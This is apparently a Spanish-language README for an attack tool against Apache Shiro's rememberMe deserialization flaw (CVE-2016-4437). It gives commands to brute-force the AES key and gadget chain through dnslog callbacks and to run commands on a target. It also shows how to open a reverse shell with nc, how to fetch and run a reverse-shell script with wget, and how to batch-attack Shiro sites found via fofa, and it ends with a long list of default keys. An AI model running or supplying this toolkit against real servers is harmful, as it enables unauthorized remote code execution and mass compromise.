
CVE-2016-4437-Shiro módulo de fuerza bruta de deserialización y key, ejecución de comandos, script de reverse shell
Herramienta para la deserialización de Shiro<=1.2.4 (CVE-2016-4437), fuerza bruta de módulos y key, ejecución de código y reverse shell.
Debido a que Shiro deserializa el campo rememberme de la cookie, si se conoce el método de codificación de Shiro y se codifica un comando malicioso con ese método colocándolo en la cookie de la cabecera HTTP, cuando Shiro deserializa el campo rememberme de la cookie enviada, el comando inyectado se ejecuta, lo que finalmente provoca ejecución de comandos.
Shiro utiliza por defecto CookieRememberMeManager, cuyo proceso de manejo de la cookie es:
obtener el valor de la cookie rememberMe-->decodificar Base64-->descifrar AES-->deserializar
linux/win10 ambos
python2/python3 ambos
Debido a que hay ysoserial.jar en module, el proyecto es algo grande; disculpa las molestias.
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
Requiere combinarse con http://dnslog.cn/
python3 shiro_crack.py http://www.baidu.com/login.do 1695jb.dnslog.cn
Tras el éxito, consulta el registro; el formato del registro es {{key}}.{{module}}.dnslogurl
U3ByaW5nQmxhZGUAAAAAAA.CommonsBeanutils1.x9zm4v.dnslog.cn
Se sabe que la key exitosa es U3ByaW5nQmxhZGUAAAAAAA== y el módulo es CommonsBeanutils1
Debido a que la key contiene símbolos como ==/+, este proyecto escapa un poco. Debes comparar con las keys del Apéndice 1.
Busca uno en fofa para probar.

En realidad, en Internet hay muchas herramientas para forzar módulos y keys, pero tras el éxito normalmente solo consiguen la conexión, sin saber cuál es el módulo y la key, porque para RCE sin eco, tanto si funciona como si no, el código de respuesta es siempre 200. Este proyecto combina la fuerza bruta de módulos y keys con dnslog para obtener indirectamente la key y el módulo correctos. El principio es la esencia de DNSlog: DNS deja registros al resolver; al leer los registros de resolución de dominios multinivel, se obtiene la información de la petición.
Se puede combinar con http://dnslog.cn/
python3 shiro_crack.py http://www.baidu.com/login.do "ping rcetest.x9zm4v.dnslog.cn"
En dnslog se puede ver ping rcetest.x9zm4v.dnslog.cn. Para distinguir, se recomienda usar un dominio de un nivel más específico.
popen = subprocess.Popen(['java', '-jar', '../module/ysoserial.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE)Cambia CommonsBeanutils1 por el módulo utilizado en la fuerza bruta exitosa.key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
por la key que tuvo éxito en la fuerza bruta.
Busca uno en fofa para probar.

nc -lvnp 7777
python3 shiro_exp.py -u {{攻击的靶机}} -lh {{反弹shell的ip}} -lp {{反弹shell的端口}}
Por seguridad, mejor atacar a un objetivo local. El principio es simplemente empaquetar JRMPListener y el payload juntos; la verdad, en rigor no haría falta jrmplistener.

Una pequeña idea
Ya que puede salir a la red, ¿por qué no usar directamente shiro_rec con bash reverse shell?
Lo intenté varias veces y falló; creo que Shiro tiene algún filtro, pero descubrí que se puede descargar primero un script .sh de reverse shell con wget y luego ejecutarlo con sh.
Consulta Un pequeño estudio sobre reverse shell sin usar jrmplistener
Haz una prueba simple basada en las cabeceras de solicitud y respuesta: pon los sitios web con Shiro en shiro.txt.
Se recomienda obtener primero los sitios con Shiro (shiro.txt) de fuzz-shiro y luego atacar en lote.
El registro de dnsLog es:
{{key}}.{{模块}}.{{url}}.dnsurl
Lo he probado y funciona bastante bien.
No module named 'Crypto' al ejecutarloEjecuta el siguiente comando:
pip uninstall crypto pycryptodome
pip install pycryptodome
En \Lib\site-packages del directorio de instalación de Python, cambia el nombre de la carpeta crypto a Crypto.
kPH+bIxk5D2deZiIxcaaaA==
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
fCq+/xW488hMTCD+cmJ3aQ==
0AvVhmFLUs0KTA3Kprsdag==
1AvVhdsgUs0FSA3SDFAdag==
1QWLxg+NYmxraMoxAXu/Iw==
25BsmdYwjnfcWmnhAciDDg==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
3JvYhmBLUs0ETA5Kprsdag==
r0e3c16IdVkouZgk1TKVMg==
5aaC5qKm5oqA5pyvAAAAAA==
5AvVhmFLUs0KTA3Kprsdag==
6AvVhmFLUs0KTA3Kprsdag==
6NfXkC7YVCV5DASIrEm1Rg==
6ZmI6I2j5Y+R5aSn5ZOlAA==
cmVtZW1iZXJNZQAAAAAAAA==
7AvVhmFLUs0KTA3Kprsdag==
8AvVhmFLUs0KTA3Kprsdag==
8BvVhmFLUs0KTA3Kprsdag==
9AvVhmFLUs0KTA3Kprsdag==
OUHYQzxQ/W9e/UjiAGu6rg==
a3dvbmcAAAAAAAAAAAAAAA==
aU1pcmFjbGVpTWlyYWNsZQ==
bWljcm9zAAAAAAAAAAAAAA==
bWluZS1hc3NldC1rZXk6QQ==
bXRvbnMAAAAAAAAAAAAAAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
wGiHplamyXlVB11UXWol8g==
U3ByaW5nQmxhZGUAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
L7RioUULEFhRyxM7a2R/Yg==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
OY//C4rhfwNxCQAQCrQQ1Q==
5J7bIJIV0LQSN3c9LPitBQ==
f/SY5TIve5WWzT4aQlABJA==
bya2HkYo57u6fWh5theAWw==
WuB+y2gcHRnY2Lg9+Aqmqg==
kPv59vyqzj00x11LXJZTjJ2UHW48jzHN
3qDVdLawoIr1xFd6ietnwg==
ZWvohmPdUsAWT3=KpPqda
YI1+nBV//m7ELrIyDHm6DQ==
6Zm+6I2j5Y+R5aS+5ZOlAA==
2A2V+RFLUs+eTA3Kpr+dag==
6ZmI6I2j3Y+R1aSn5BOlAA==
SkZpbmFsQmxhZGUAAAAAAA==
2cVtiE83c4lIrELJwKGJUw==
fsHspZw/92PrS3XrPW+vxw==
XTx6CKLo/SdSgub+OPHSrw==
sHdIjUN6tzhl8xZMG3ULCQ==
O4pdf+7e+mZe8NyxMTPJmQ==
HWrBltGvEZc14h9VpMvZWw==
rPNqM6uKFCyaL10AK51UkQ==
Y1JxNSPXVwMkyvES/kJGeQ==
lT2UvDUmQwewm6mMoiw4Ig==
MPdCMZ9urzEA50JDlDYYDg==
xVmmoltfpb8tTceuT5R7Bw==
c+3hFGPjbgzGdrC+MHgoRQ==
ClLk69oNcA3m+s0jIMIkpg==
Bf7MfkNR0axGGptozrebag==
1tC/xrDYs8ey+sa3emtiYw==
ZmFsYWRvLnh5ei5zaGlybw==
cGhyYWNrY3RmREUhfiMkZA==
IduElDUpDDXE677ZkhhKnQ==
yeAAo1E8BOeAYfBlm4NG9Q==
cGljYXMAAAAAAAAAAAAAAA==
2itfW92XazYRi5ltW0M2yA==
XgGkgqGqYrix9lI6vxcrRw==
ertVhmFLUs0KTA3Kprsdag==
5AvVhmFLUS0ATA4Kprsdag==
s0KTA3mFLUprK4AvVhsdag==
hBlzKg78ajaZuTE0VLzDDg==
9FvVhtFLUs0KnA3Kprsdyg==
d2ViUmVtZW1iZXJNZUtleQ==
yNeUgSzL/CfiWw1GALg6Ag==
NGk/3cQ6F5/UNPRh8LpMIg==
4BvVhmFLUs0KTA3Kprsdag==
MzVeSkYyWTI2OFVLZjRzZg==
CrownKey==a12d/dakdad
empodDEyMwAAAAAAAAAAAA==
A7UzJgh1+EWj5oBFi+mSgw==
YTM0NZomIzI2OTsmIzM0NTueYQ==
c2hpcm9fYmF0aXMzMgAAAA==
i45FVt72K2kLgvFrJtoZRw==
U3BAbW5nQmxhZGUAAAAAAA==
ZnJlc2h6Y24xMjM0NTY3OA==
Jt3C93kMR9D5e8QzwfsiMw==
MTIzNDU2NzgxMjM0NTY3OA==
vXP33AonIp9bFwGl7aT7rA==
V2hhdCBUaGUgSGVsbAAAAA==
Z3h6eWd4enklMjElMjElMjE=
Q01TX0JGTFlLRVlfMjAxOQ==
ZAvph3dsQs0FSL3SDFAdag==
Is9zJ3pzNh2cgTHB4ua3+Q==
NsZXjXVklWPZwOfkvk6kUA==
GAevYnznvgNCURavBhCr1w==
66v1O8keKNV3TTcGPK1wzg==
SDKOLKn2J1j/2BHjeZwAoQ==